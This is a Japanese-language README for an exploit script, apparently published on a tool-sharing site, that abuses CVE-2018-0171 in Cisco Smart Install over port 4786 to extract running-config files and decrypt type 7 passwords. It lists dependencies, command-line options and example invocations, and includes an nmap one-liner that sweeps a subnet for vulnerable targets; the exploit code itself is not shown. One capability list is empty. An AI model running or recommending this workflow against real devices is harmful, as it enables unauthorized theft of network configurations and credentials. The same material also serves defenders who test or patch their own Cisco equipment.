
Cisco SmartInstall エクスプロイト [CVE-2018-0171]
Cisco SmartInstall エクスプロイト CVE-2018-0171
C. Papathanasiou PoC から触発されました
この Python 3 スクリプトは、SmartInstall を実行している Cisco デバイスのポート 4786 を使用して CVE-2018-0171 を悪用します。このエクスプロイトを使用すると、攻撃者はペイロードを作成し、Cisco デバイスに送信して、running-config ファイルの内容を抽出できます。
Cisco Smart Exploit スクリプトは次のことが可能です:

スクリプトを使用するための必要条件は以下の通りです:
tftpy==0.8.2c7decrypt (secret 7 の復号用)
gem install c7decrypt __ __ __ __ __ __ ___ ___ __ __ ___
/ ` | /__` / ` / \ /__` |\/| /\ |__) | |__ \_/ |__) | / \ | |
\__, | .__/ \__, \__/ .__/ | | /~~\ | \ | |___ / \ | |___ \__/ | |
by @AlrikRr
usage: cisco-se.py [-h] (-i IP | -f FILE | -c CONFIG)
optional arguments:
-h, --help show this help message and exit
-i IP Single IP Address
-f FILE File that contains IP list
-c CONFIG running-config File standalone
例 :
python3 cisco-se.py -i 192.168.10.1
python3 cisco-se.py -f ip_list.txt
python3 cisco-se.py -c running-config.txt
-f FILE オプションの場合、nmap を使用した例は以下の通りです:
nmap -p 4786 10.20.30.0/24 --open -Pn -oG - | awk '/Up$/{print $2}' > ip_list.txt
client.download() 中に一部の IP でタイムアウトエラーを処理する